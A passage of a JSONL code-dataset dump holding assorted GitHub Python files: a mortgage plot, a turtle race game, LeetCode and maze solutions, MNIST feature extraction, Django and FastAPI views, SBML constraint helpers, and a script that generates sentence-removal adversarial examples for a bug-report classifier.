quoting=csv.QUOTE_MINIMAL)\n for n in range(tbl_first_mo, tbl_last_mo + 1):\n homemortgage_writer.writerow([str(n), b.format(balance[n])])\n print(n, b.format(balance[n]))\n\n# Creating and displaying a plot similar to Figure 1.6 in Section 1.1\nmonth = np.arange(0, n_months + 1, 1)\n\nfig, ax = plt.subplots()\nax.plot(month, balance)\nax.set(xlabel='Months', ylabel='Loan Value',\n title='Home Mortgage')\nax.grid()\nfig.savefig(\"homemortgage.png\")\nplt.show()\n","repo_name":"Th3Lourde/Mathematical_Modeling","sub_path":"homemortgage.py","file_name":"homemortgage.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74508561793","text":"# -*- coding: utf-8 -*-\n# 3.0\n\n# \n\nimport user_based_PT\n\n# \n\nexample=user_based_PT.dataset('../data/Nantes/')\nexample.select_days()\nexample.parent_stations()\nexample.routes()\nexample.shortest_paths()\nexample.heatmap()\n\n# \n\n\n","repo_name":"lalessan/user_basedPT","sub_path":"code/Example.py","file_name":"Example.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"11409184670","text":"from turtle import Turtle, Screen\nimport random\n\nscreen = Screen()\nscreen.setup(width=500, height=400)\nscreen.bgcolor(\"dark gray\")\n\nrace_active = True\nuser_bet = screen.textinput(title=\"Make your bet.\", prompt=\"Which turtle will win the race? Enter a colour: \")\ncolours = [\"red\", \"blue\", \"green\", \"yellow\", \"purple\", \"orange\"]\ny_positions = [-120, -70, -20, 30, 80, 130]\nturtles = []\n\nfor turtle_index in range(0, 6):\n new_turtle = Turtle(shape=\"turtle\")\n new_turtle.color(colours[turtle_index])\n new_turtle.penup()\n new_turtle.goto(x=-230, y=y_positions[turtle_index])\n turtles.append(new_turtle)\n\nif user_bet:\n race_active = True\n\nwhile race_active:\n\n for turtle in turtles:\n if turtle.xcor() > 200:\n winner = turtle.pencolor()\n race_active = False\n if winner == user_bet:\n print(f\"Congratulations! Your turtle ({winner}) won the race!\")\n else:\n print(f\"Sorry, you lost! The {winner} turtle won the race!\")\n\n rand_distance = random.randint(0, 10)\n turtle.forward(rand_distance)\n\n\nscreen.exitonclick()\n","repo_name":"georgewood749/etch-a-sketch","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10315602768","text":"ALREADY_ACCEPTED_FIELD = 'alreadyAccepted'\nCLAIMS_LIST_FIELD = 'availableClaimsList'\nCLAIMS_FIELD = 'claims'\nREQ_MSG = \"REQ_MSG\"\nPING = \"ping\"\nPONG = \"pong\"\nERROR = \"error\"\nEVENT = \"event\"\nEVENT_NAME = \"eventName\"\nEVENT_NOTIFY_MSG = \"NOTIFY\"\nEVENT_MSG_RECEIVED = \"MSG_RECEIVED\"\nEVENT_POST_ACCEPT_INVITE = \"POST_ACCEPT_INVITE_EVENT\"\nEVENT_NOT_CONNECTED_TO_ANY_ENV = \"NOT_CONNECTED_TO_ANY_ENV\"","repo_name":"sovrin-foundation/old-sovrin","sub_path":"sovrin/agent/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"61"} +{"seq_id":"27087742011","text":"class Solution:\n def findCheapestPrice(self, n: int, flights: List[List[int]], src: int, dst: int, K: int) -> int:\n graph = collections.defaultdict(list)\n for start, end, w in flights:\n graph[start].append((end, w))\n heap, visitedD, visitedS = [(0, 0, src)], [float(\"inf\")]*n, [float(\"inf\")]*n\n visitedD[src], visitedS[src] = 0, 0\n while heap:\n cost, step, pre = heapq.heappop(heap)\n if pre == dst: return cost\n if step == K+1: continue\n for curr, w in graph[pre]:\n if visitedD[curr] > cost + w:\n visitedD[curr] = cost + w\n visitedS[curr] = step+1\n heapq.heappush(heap, (cost+w, step+1, curr))\n elif step < visitedS[curr]:\n heapq.heappush(heap, (cost+w, step+1, curr))\n return -1\n","repo_name":"Mela2014/lc_punch","sub_path":"lc787_bfs.py","file_name":"lc787_bfs.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17555264389","text":"from flask import Flask, Response\nfrom zipfile import ZipFile\nimport io\nimport os\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef root(res):\n mimetypes = {\n \".css\": \"text/css\",\n \".html\": \"text/html\",\n \".js\": \"application/javascript\",\n }\n with ZipFile(\"./resources\", \"r\") as z:\n with z.open(res, \"r\") as f:\n f = io.TextIOWrapper(f)\n m = mimetypes[(os.path.splitext(res)[1])]\n resp = Response(f.read(), mimetype=m)\n return resp\n\n\nif __name__ == \"__main__\":\n app.run(port=80)\n","repo_name":"Jbat1Jumper/PyApiMaker","sub_path":"samples/js_interactive/web_server.py","file_name":"web_server.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41299813692","text":"import numpy as np\n\n##\n## Functions to compute features for the mnist dataset\n##\n\ndef colourDistribution(image: np.ndarray):\n \"\"\" Get the colour distribution of a monochrome image (mnist dataset)\n :param image: the image that needs to be processed\n :return: a dict with the distribution of colours\n \"\"\"\n dict_ = dict()\n for row in image:\n for pixel in row:\n if pixel in dict_:\n dict_[pixel] += 1\n else:\n dict_[pixel] = 1\n for key in dict_:\n writeLine(f\"Key: {key} = {dict_[key]}\")\n\n\ndef averageValue(image: np.ndarray):\n \"\"\" Get the average colour/intensity of a monochrome image (mnist dataset)\n :param image: the image that needs to be processed\n :return: the average colour/intensity value\n \"\"\"\n ans = 0\n for row in image:\n for pixel in row:\n ans += pixel\n return ans / (image.shape[0] * image.shape[1])\n\n\ndef countMinVal(image: np.ndarray, minVal):\n \"\"\" Counts the number of pixels with a colour/intensirt >= minVal (mnist dataset)\n :param image: the image that needs to be processed\n :param minVal: the minimum colour/intesity value\n :return: the number of pixels for which the pixel value is >= minVal\n \"\"\"\n c = 0\n for row in image:\n for pixel in row:\n if pixel >= minVal:\n c += 1\n return c\n\n\ndef findExtremesMinVal(image: np.ndarray, minVal):\n \"\"\" Get the left, right, top and bottom extremes in the image where the pixel values >= minVal\n IN OTHER WORDS: finds the bounding box for pixels, thus pixels outside this box will be guaranteed to have\n lower values than minVal\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: the coordinates of the left, right, top and bottom extremes (bounding box coordinates)\n \"\"\"\n l, r, t, b = findLeft(image, minVal), findRight(image, minVal), findTop(image, minVal), findBottom(image, minVal)\n return l, r, t, b\n\n\ndef findTop(image:np.ndarray, minVal):\n \"\"\" Get the top most coordinate (row) where at least 1 pixel >= minVal\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: int that indicates the top row satisfying pixel >= minVal\n \"\"\"\n for r, row in enumerate(image):\n for c, pixel in enumerate(row):\n if pixel >= minVal:\n return r\n\ndef findBottom(image: np.ndarray, minVal):\n \"\"\" Get the bottom most coordinate (row) where at least 1 pixel >= minVal\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: int that indicates the bottom row satisfying pixel >= minVal\n \"\"\"\n for i in range(1, image.shape[0]+1):\n for pixel in image[image.shape[0] - i]:\n if pixel >= minVal:\n return image.shape[0] - i\n\ndef findLeft(image: np.ndarray, minVal):\n \"\"\" Get the left most coordinate (column) where at least 1 pixel >= minVal\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: int that indicates the left column satisfying pixel >= minVal\n \"\"\"\n for i in range(0, image.shape[1]):\n for j in range(0, image.shape[0]):\n if image[j][i] >= minVal:\n return i\n\ndef findRight(image: np.ndarray, minVal):\n \"\"\" Get the right most coordinate (column) where at least 1 pixel >= minVal\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: int that indicates the right column satisfying pixel >= minVal\n \"\"\"\n for i in range(1, image.shape[1]+1):\n for j in range(1, image.shape[0]+1):\n if image[image.shape[0]-j][image.shape[1]-i] >= minVal:\n return image.shape[1]-i\n\n\ndef getXYList(image: np.ndarray, minVal):\n x, y = [], []\n writeLine(image.shape)\n for r, row in enumerate(image):\n for c, pixel in enumerate(row):\n if pixel >= minVal:\n x.append(c)\n y.append(r)\n return x, y\n\n\ndef pca(image: np.ndarray, minVal):\n \"\"\" Compute the PCA (principal component analysis) of the image\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: the eigenvalues and eigenvectors, which indicate the spread of the pixels\n \"\"\"\n x, y = getXYList(image, minVal)\n A_cov = np.cov(np.array([x, y]))\n writeLine(A_cov)\n eigenvalues, eigenvectors = np.linalg.eig(A_cov)\n writeLine(eigenvalues)\n writeLine(eigenvectors)\n return eigenvalues, eigenvectors\n\n\nprinting = False\ndef writeLine(txt: str):\n if printing: print(txt)\n\ndef computeFeature(image: np.ndarray, minVal):\n \"\"\" Compute the features for one monochrome image (mnist dataset)\n :param image: the image that needs to be processed\n :param minVal: the minimum value for a pixel\n :return: list: containing all the feature values for this image\n \"\"\"\n l,r,t,b = findExtremesMinVal(image, minVal)\n height = b-t+1\n width = r-l+1\n eigenvalues, eigenvectors = pca(image, minVal)\n avg = averageValue(image)\n count = countMinVal(image, minVal)\n ans = [avg, count/(image.shape[0]*image.shape[1]), height/image.shape[0], width/image.shape[1],\n l/image.shape[1], r/image.shape[1], t/image.shape[0], b/image.shape[0]]\n ans.extend(eigenvalues)\n return ans\n\ndef computeFeatureList(images, minVal):\n \"\"\" Compute the feature values for each image in the dataset\n :param images: the images that need to be processed\n :param minVal: the minimum value for a pixel\n :return: list: with a list of feature values corresponding to one image in the dataset.\n \"\"\"\n ans = [np.reshape(np.array(computeFeature(img, minVal)), (10,1)) for img in images]\n # ans = [np.array(computeFeature(img, minVal)) for img in images]\n return ans","repo_name":"martijndekker98/SimpleNeuralNetworks","sub_path":"Features.py","file_name":"Features.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1024786678","text":"import datetime\n\nfrom django.http import Http404\nfrom django.shortcuts import get_object_or_404\nfrom django.utils import timezone\nfrom Lunchbreak.views import TargettedViewSet\nfrom rest_framework import generics, mixins, status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework_extensions.mixins import NestedViewSetMixin\nfrom sendfile import sendfile\n\nfrom .exceptions import UnsupportedAPIVersion\nfrom .models import HolidayPeriod, OpeningPeriod, Store, StoreCategory\nfrom .renderers import JPEGRenderer\nfrom .serializers import (HolidayPeriodSerializer, OpeningPeriodSerializer,\n StoreCategorySerializer)\n\n\nclass StoreOpeningPeriodViewSet(TargettedViewSet,\n NestedViewSetMixin,\n mixins.ListModelMixin):\n\n serializer_class = OpeningPeriodSerializer\n pagination_class = None\n\n @property\n def queryset(self):\n return self._get_queryset(\n parent_pk=self.kwargs['parent_lookup_pk']\n )\n\n @classmethod\n def _get_queryset(cls, parent_pk):\n return OpeningPeriod.objects.filter(\n store_id=parent_pk\n ).order_by(\n 'day',\n 'time'\n )\n\n\nclass StoreHolidayPeriodViewSet(TargettedViewSet,\n NestedViewSetMixin,\n mixins.ListModelMixin):\n\n serializer_class = HolidayPeriodSerializer\n pagination_class = None\n\n @property\n def queryset(self):\n return self._get_queryset(\n parent_pk=self.kwargs['parent_lookup_pk']\n )\n\n @classmethod\n def _get_queryset(cls, parent_pk):\n return HolidayPeriod.objects.filter(\n store_id=parent_pk,\n start__lte=timezone.now() + datetime.timedelta(days=7),\n end__gte=timezone.now()\n )\n\n\nclass StorePeriodsViewSet(TargettedViewSet,\n NestedViewSetMixin,\n mixins.ListModelMixin):\n serializer_class = OpeningPeriodSerializer\n pagination_class = None\n\n def list(self, request, *args, **kwargs):\n openingperiods = OpeningPeriodSerializer(\n StoreOpeningPeriodViewSet._get_queryset(\n parent_pk=self.kwargs['parent_lookup_pk']\n ),\n many=True\n )\n holidayperiods = HolidayPeriodSerializer(\n StoreHolidayPeriodViewSet._get_queryset(\n parent_pk=self.kwargs['parent_lookup_pk']\n ),\n many=True\n )\n\n data = {\n 'openingperiods': openingperiods.data,\n 'holidayperiods': holidayperiods.data\n }\n\n return Response(\n data=data,\n status=status.HTTP_200_OK\n )\n\n\nclass StoreHeaderView(APIView):\n\n renderer_classes = (JPEGRenderer,)\n\n def get(self, request, store_id, width=None, height=None):\n store = get_object_or_404(Store, id=store_id)\n\n width = width if width is not None else request.query_params.get('width')\n height = height if height is not None else request.query_params.get('height')\n\n if height is None or width is None:\n raise Http404()\n\n if not hasattr(store, 'header'):\n raise Http404('That store does not have a header.')\n\n image = store.header.retrieve_from_source(\n 'original',\n int(width),\n int(height)\n )\n try:\n return sendfile(request, image.path)\n except FileNotFoundError:\n raise Http404('File was not found.')\n\n\nclass StoreCategoryListViewBase(generics.ListAPIView):\n\n \"\"\"\n List all of the store categories.\n \"\"\"\n\n serializer_class = StoreCategorySerializer\n pagination_class = None\n queryset = StoreCategory.objects.all()\n\n\nclass WrongAPIVersionView(APIView):\n\n def get(self, request, *args, **kwargs):\n return UnsupportedAPIVersion().response\n\n def post(self, request, *args, **kwargs):\n return UnsupportedAPIVersion().response\n\n def patch(self, request, *args, **kwargs):\n return UnsupportedAPIVersion().response\n\n def delete(self, request, *args, **kwargs):\n return UnsupportedAPIVersion().response\n\n def put(self, request, *args, **kwargs):\n return UnsupportedAPIVersion().response\n","repo_name":"ssprasad100/Lunchbreak_backend_again","sub_path":"lunchbreak/lunch/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70898295234","text":"import logging\n\nfrom mod_sbml.sbml.reaction_boundary_manager import get_bounds, set_bounds\nfrom mod_sbml.sbml.sbml_manager import reverse_reaction, get_reactants, get_products\n\n__author__ = 'anna'\n\n\ndef constraint_exchange_reactions(model, forsed_r_id2rev, prohibited_r_id2rev=None, cofactors=None, min_flux=0.01):\n logging.info(\"Constraining input reactions...\")\n\n for r in model.getListOfReactions():\n r_id = r.getId()\n r_l, r_u = get_bounds(r)\n\n if forsed_r_id2rev and r_id in forsed_r_id2rev:\n rev = forsed_r_id2rev[r_id]\n if rev:\n # reverse the reaction and set positive bounds,\n # as if both bounds are negative, the glp solver produces an error\n reverse_reaction(r)\n set_bounds(r, max(min_flux, -r_u), max(min_flux, -r_l))\n forsed_r_id2rev[r_id] = not rev\n else:\n set_bounds(r, max(min_flux, r_l), max(min_flux, r_u))\n r.setReversible(False)\n continue\n\n if prohibited_r_id2rev and r_id in prohibited_r_id2rev:\n rev = prohibited_r_id2rev[r_id]\n if not rev:\n reverse_reaction(r)\n set_bounds(r, 0, max(0, -r_l))\n prohibited_r_id2rev[r_id] = not rev\n else:\n set_bounds(r, 0, max(0, r_u))\n r.setReversible(False)\n continue\n\n if not cofactors:\n continue\n\n rs, ps = set(get_reactants(r)), set(get_products(r))\n\n boundary_s_ids = {s_id for s_id in rs if model.getSpecies(s_id).getBoundaryCondition()}\n if boundary_s_ids or not rs:\n if ps - cofactors:\n reverse_reaction(r)\n set_bounds(r, 0, max(-r_l, 0))\n r.setReversible(False)\n continue\n boundary_s_ids = {s_id for s_id in ps if model.getSpecies(s_id).getBoundaryCondition()}\n if boundary_s_ids or not ps:\n if rs - cofactors:\n set_bounds(r, 0, max(r_u, 0))\n r.setReversible(False)\n\n\ndef get_exchange_reactions(model):\n result = []\n for r in model.getListOfReactions():\n rs, ps = set(get_reactants(r)), set(get_products(r))\n\n boundary_s_ids = {s_id for s_id in rs if model.getSpecies(s_id).getBoundaryCondition()}\n if boundary_s_ids or not rs:\n result.append(r.getId())\n continue\n boundary_s_ids = {s_id for s_id in ps if model.getSpecies(s_id).getBoundaryCondition()}\n if boundary_s_ids or not ps:\n result.append(r.getId())\n return result\n","repo_name":"annazhukova/mod_cobra","sub_path":"mod_cobra/sbml/constraint_manager.py","file_name":"constraint_manager.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29201070627","text":"import random\n\n\ndef _nbeighbours_unvisited(next, visited, maze):\n nbrs = maze.neighbours(next)\n\n for nbr in nbrs:\n if nbr not in visited:\n return True\n \n return False\n\n\ndef rdfs(maze, start, stack, visited):\n if len(set(visited)) == maze.num_rows * maze.num_cols:\n return\n\n stack.append(start)\n visited.append(start)\n\n nbrs = maze.neighbours(start)\n random.shuffle(nbrs)\n\n next = None\n for nbr in nbrs:\n if (nbr not in stack) and (nbr not in visited):\n next = nbr\n break\n\n if next:\n return rdfs(maze, next, stack, visited)\n\n else:\n while len(stack) > 0:\n next = stack.pop()\n visited.append(next)\n\n if _nbeighbours_unvisited(next, visited, maze):\n return rdfs(maze, next, stack, visited)\n\n\nif __name__ == \"__main__\":\n from maze import Maze\n\n stack = []\n visited = []\n m = Maze(10, 10)\n rdfs(m, (0, 0), stack, visited)\n\n print(len(set(visited)), len(visited))\n","repo_name":"souvikshanku/mymaze","sub_path":"src/algos/rdfs.py","file_name":"rdfs.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36893434915","text":"import ujson\nfrom fastapi import APIRouter, Depends, Body, Path\nfrom sentry_sdk import capture_message\n\nfrom api.dependencies import get_user\nfrom config import SIMBA_CONTRACT, settings\nfrom core.mechanics import InvoiceMechanics\nfrom database.crud import BlockCypherWebhookCRUD, InvoiceCRUD, MetaCRUD, UserCRUD\nfrom schemas import BTCTransaction, EthereumContractMetaResponse, MetaCurrencyRatePayload, MetaSlugs\n\n__all__ = [\"router\"]\n\nrouter = APIRouter()\n\n\n@router.get(\n \"/eth/contract/\",\n dependencies=[\n Depends(get_user),\n ],\n response_model=EthereumContractMetaResponse,\n)\nasync def meta_contract_fetch():\n contract = SIMBA_CONTRACT\n\n with open(contract.abi_filepath) as f:\n abi = ujson.load(f)\n contract.abi = abi\n\n return {\n \"contract\": contract,\n \"provider_http_link\": settings.crypto.infura_open_http_url,\n \"provider_ws_link\": settings.crypto.infura_open_ws_url,\n }\n\n\n@router.get(\n \"/eth/admin-address/\",\n dependencies=[Depends(get_user)],\n responses={\n 200: {\n \"description\": \"Return Simba admin address\",\n \"content\": {\"application/json\": {\"example\": {\"address\": \"0x.....\"}}},\n },\n },\n)\nasync def meta_simba_admin_address():\n return {\"address\": settings.crypto.simba_admin_address}\n\n\n@router.post(\"/{webhook_path}/\", include_in_schema=False)\nasync def meta_webhook_handler(\n webhook_path: str = Path(...),\n transaction: dict = Body(...),\n):\n webhook_obj = await BlockCypherWebhookCRUD.find_one({\"url_path\": webhook_path})\n invoice = await InvoiceCRUD.find_one({\"_id\": webhook_obj[\"invoice_id\"]}) if webhook_obj else None\n\n if webhook_obj and invoice:\n transaction = BTCTransaction(**transaction)\n user = await UserCRUD.find_by_id(invoice[\"user_id\"])\n await InvoiceMechanics(invoice, user).proceed_new_transaction(transaction)\n else:\n capture_message(\"Webhook obj or invoice not found\", level=\"error\")\n\n return True\n\n\n@router.get(\"/currency-rate/\", response_model=MetaCurrencyRatePayload)\nasync def meta_currency_rate():\n return (await MetaCRUD.find_by_slug(MetaSlugs.CURRENCY_RATE, raise_500=True))[\"payload\"]\n","repo_name":"amosov00/simba","sub_path":"backend/api/controllers/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9941937620","text":"n = int(input(\"Enter the number:\"))\r\nif(n>0):\r\n def countstrings(n, start):\r\n if n == 0:\r\n return 1\r\n cnt = 0\r\n for i in range(start, 5):\r\n cnt += countstrings(n - 1, i)\r\n return cnt\r\n def countVowelStrings(n):\r\n return countstrings(n, 0)\r\n print(countVowelStrings(n))\r\nelse:\r\n print(\"Not valid\")\r\n","repo_name":"Hariharan2293/hariharan","sub_path":"test7.py","file_name":"test7.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5833691614","text":"#!/usr/bin/env python3\nfrom os import name, system\nfrom turtle import Turtle, Screen # resetscreen\nimport random\n\n\ndef clear():\n if name == 'nt':\n system('cls')\n else:\n system('clear')\n\n\n# Task #1\n# tim = Turtle()\n# screen = Screen()\n# def move_forwards():\n# tim.forward(10)\n#\n#\n# def move_backwards():\n# tim.backward(10)\n#\n#\n# def turn_left():\n# new_heading = tim.heading() + 10\n# tim.seth(new_heading)\n#\n#\n# def turn_right():\n# new_heading = tim.heading() - 10\n# tim.seth(new_heading)\n#\n#\n# screen.listen()\n# screen.onkey(key='w', fun=move_forwards)\n# screen.onkey(key='s', fun=move_backwards)\n# screen.onkey(key='a', fun=turn_left)\n# screen.onkey(key='d', fun=turn_right)\n# screen.onkey(key='c', fun=resetscreen)\n\n\n# Task #2\nis_race_on = False\nscreen = Screen()\nscreen.screensize(canvwidth=500, canvheight=400)\nscreen.setup(width=550, height=450)\nscreen.canvwidth\ntim = Turtle()\ntim.hideturtle()\ntim.penup()\ntim.speed('fastest')\ntim.setposition(x=230, y=-100)\ntim.pendown()\ntim.goto(x=230, y=100)\ncolor = ['red', 'orange', 'yellow', 'green', 'blue', 'purple']\ny_positions = [-70, -40, -10, 20, 50, 80]\nall_turtles = []\n\nfor turtle_index in range(0, 6):\n new_turtle = Turtle(shape='turtle')\n new_turtle.color(color[turtle_index])\n new_turtle.penup()\n new_turtle.goto(x=-230, y=y_positions[turtle_index])\n all_turtles.append(new_turtle)\n\n\nuser_bet = ''\nwhile user_bet.lower() not in color:\n user_bet = screen.textinput(title='Make your bet.', prompt='Which turtle will win the race? Enter a color: ')\n\nif user_bet:\n is_race_on = True\n\nwhile is_race_on:\n for turtle in all_turtles:\n random_distance = random.randint(0, 10)\n turtle.forward(random_distance)\n if turtle.xcor() >= 213:\n is_race_on = False\n winning_color = turtle.fillcolor()\n if winning_color == user_bet.lower():\n print(f'You\\'ve won! The {winning_color} turtle is the winner!')\n else:\n print(f'You\\'ve lost! The {winning_color} turtle is the winner!')\n\n\nscreen.exitonclick()\n","repo_name":"Appl3Tree/Python","sub_path":"100 Days of Code/Day 019 - Instances, State and Higher Order Functions/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24960627326","text":"import tensorflow_hub as hub\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nimport tensorflow\r\nimport random\r\nfrom metric import top1_acc, top2_acc, top3_acc, top4_acc, top5_acc\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\n\r\nfrom sent_preprocessing import preprocess_dataset, sentence_embedding, sentence_padding, label_embedding\r\n\r\n\r\ndef sent_remove(desc): # 1개씩\r\n sent_num = len(desc)\r\n empty_sent_list = [desc[:idx] + [''] + desc[min(idx + 1, sent_num):] for idx in range(sent_num)]\r\n return empty_sent_list\r\n\r\n\r\ndef cal_sm_distance(orig_desc, adv_desc, use_embed):\r\n # use_embedding = hub.load(\"https://tfhub.dev/google/universal-sentence-encoder-large/5\")\r\n orig_use = [use_embed(orig_desc)]\r\n adv_use = [use_embed(adv_desc)]\r\n cos_sim = cosine_similarity(orig_use, adv_use)\r\n return cos_sim[0][0]\r\n\r\n\r\ndef test_sentence_padding(description, max_sentence_num):\r\n print(\"progress sentence padding..\")\r\n final_sentences = list()\r\n\r\n for sentences in description:\r\n # print(\"sentence len : \", len(sentences))\r\n sent_len = len(sentences)\r\n if sent_len < max_sentence_num:\r\n temp_arr = np.ones((max_sentence_num - sent_len), dtype=str)\r\n sent = np.array(sentences)\r\n pad_sent = np.concatenate((sent, temp_arr))\r\n final_sentences.append(pad_sent)\r\n else:\r\n final_sentences.append(np.array(sentences))\r\n\r\n print(\"final_sentences output type -> \", type(final_sentences))\r\n # print(final_sentences[4][:])\r\n\r\n # for i in final_sentences:\r\n # print(len(i))\r\n\r\n print(\"final_sentences len -> \", len(final_sentences))\r\n # print(\"final_sentences shape -> \", np.shape(final_sentences)) # (?, ?)\r\n return final_sentences # : List\r\n\r\n\r\ndef test_sentence_embedding(desc, embed_model):\r\n # print(\"progress sentence embedding using universal sentence encoder..\")\r\n # use_embedding = hub.load(\"https://tfhub.dev/google/universal-sentence-encoder-large/5\")\r\n description_embedding_list = []\r\n # print(\"Zebal confirm.... : \", np.shape(desc)) #\r\n try:\r\n with tensorflow.device('/cpu:0'):\r\n # with tf.device('/device:GPU:0'):\r\n for sentences in tqdm(desc):\r\n description_embedding = embed_model(sentences)\r\n # print(description_embedding)\r\n description_embedding_list.append(description_embedding)\r\n except RuntimeError as e:\r\n print(e)\r\n\r\n print()\r\n print(\"-- Universal Sentence Embedding End --\")\r\n print()\r\n\r\n return description_embedding_list # tensor(?, 512)\r\n\r\n\r\ndef label_comp(orig_label_pr, pred_label_pr):\r\n pass\r\n\r\n\r\ndef cal_siv(orig_desc, adv_desc): # calculate sentence impact score(SIS)\r\n pass\r\n\r\n\r\ndef sorted_sent_impact_value(_list):\r\n return sorted(_list, reverse=True)\r\n\r\n\r\ndef test_generation(file_name, seed_num=1000):\r\n \"\"\"\r\n :param file_name:\r\n :param pretrained_model:\r\n :param seed_num:\r\n :return: genetated test sample (feature_num, sentence_num, 512)\r\n \"\"\"\r\n min_sent_num = 5\r\n max_sent_num = 35\r\n all_label, all_desc, max_sent_num = preprocess_dataset(file_name, min_sent_num, max_sent_num)\r\n instance_num = len(all_label)\r\n\r\n print(\"load pretrained model...\")\r\n model_path = 'result/Google_Chromium.json_sent.h5'\r\n model = load_model(model_path)\r\n print(\"Complete load model !\")\r\n\r\n temp_dict = dict()\r\n for idx in range(instance_num):\r\n temp_dict[all_label[idx]] = all_desc[idx]\r\n\r\n seed_dict = random.sample(temp_dict.items(), seed_num)\r\n seed_label = []\r\n raw_seed_desc = []\r\n\r\n for idx in range(seed_num):\r\n seed_label.append(seed_dict[idx][0])\r\n raw_seed_desc.append(seed_dict[idx][1])\r\n\r\n pad_seed_desc = sentence_padding(raw_seed_desc, max_sent_num)\r\n seed_desc = sentence_embedding(pad_seed_desc)\r\n final_seed_desc = []\r\n\r\n for sentences in seed_desc:\r\n sent = sentences.numpy()\r\n final_seed_desc.append(sent)\r\n\r\n final_seed_desc = np.asarray(final_seed_desc)\r\n\r\n seed_label = label_embedding(seed_label)\r\n seed_label = np.asarray(seed_label)\r\n\r\n # print(\"seed label complete\")\r\n\r\n orig_predict_list = get_output_weight(final_seed_desc, model)\r\n adv_desc_pool = []\r\n\r\n # print(raw_seed_desc)\r\n print(np.shape(raw_seed_desc))\r\n print(raw_seed_desc[0]) # 1000\r\n print(np.shape(raw_seed_desc[0])) # (8,)\r\n print(np.shape(raw_seed_desc[1]))\r\n print(np.shape(raw_seed_desc[2]))\r\n\r\n embedding_model = hub.load(\"https://tfhub.dev/google/universal-sentence-encoder-large/5\")\r\n\r\n print(\"Trying to mutate data..\")\r\n for idx, desc in enumerate(tqdm(raw_seed_desc)): # desc.shape is [sentence_num,] expected sentence_num = 20\r\n mutated_desc_pool = sent_remove(desc)\r\n embed_m_desc_list = []\r\n for m_desc in mutated_desc_pool:\r\n print(m_desc)\r\n reshape_m_desc = np.reshape(m_desc, (1, np.shape(m_desc)[0]))\r\n pad_m_desc = test_sentence_padding(reshape_m_desc, max_sent_num)\r\n embed_m_desc = test_sentence_embedding(pad_m_desc, embedding_model)\r\n embed_m_desc_list.append(embed_m_desc)\r\n\r\n temp_instance_num = len(embed_m_desc_list)\r\n embed_m_desc_list = np.asarray(embed_m_desc_list) # expected shape (7, 34, 512)\r\n embed_m_desc_list = np.reshape(embed_m_desc_list, (temp_instance_num, 34, 512))\r\n new_predict_val_list = get_output_weight(embed_m_desc_list, model)\r\n\r\n orig_predict_val = orig_predict_list[idx]\r\n orig_label_idx = np.argmax(orig_predict_val)\r\n\r\n new_label_list = []\r\n sis_list = []\r\n for new_predict_val in new_predict_val_list:\r\n new_label_idx = np.argmax(new_predict_val)\r\n new_label_list.append(new_label_idx)\r\n\r\n # Calculate SIS\r\n if orig_label_idx == new_label_idx:\r\n f_od = orig_predict_val[orig_label_idx]\r\n f_md = new_predict_val[new_label_idx]\r\n sis = 1 - ((f_od - f_md) / max_sent_num)\r\n sis_list.append(sis)\r\n\r\n else:\r\n f_od_x = orig_predict_val[orig_label_idx]\r\n f_md_x = new_predict_val[orig_label_idx]\r\n f_md_y = new_predict_val[new_label_idx]\r\n f_od_y = orig_predict_val[new_label_idx]\r\n sis = 1 - (((f_od_x - f_md_x) + (f_md_y - f_od_y)) / max_sent_num)\r\n sis_list.append(sis)\r\n\r\n min_sis_idx = sis_list.index(min(sis_list))\r\n candidate_desc = mutated_desc_pool[min_sis_idx]\r\n candidate_label_idx = new_label_list[min_sis_idx]\r\n\r\n if orig_label_idx == candidate_label_idx:\r\n continue\r\n\r\n else:\r\n adv_desc_pool.append(candidate_desc)\r\n\r\n f = open('result/adv/{0}.txt'.format(str(idx)), 'w')\r\n for sentence in candidate_desc:\r\n f.write(sentence)\r\n f.close()\r\n\r\n print(\"Complete mutation !\")\r\n print(\"[INFO]Num of mutated description : {}\".format(len(adv_desc_pool)))\r\n\r\n\r\ndef cal_sent_impact_value(orig_idx, new_idx, orig_pd, new_pd, 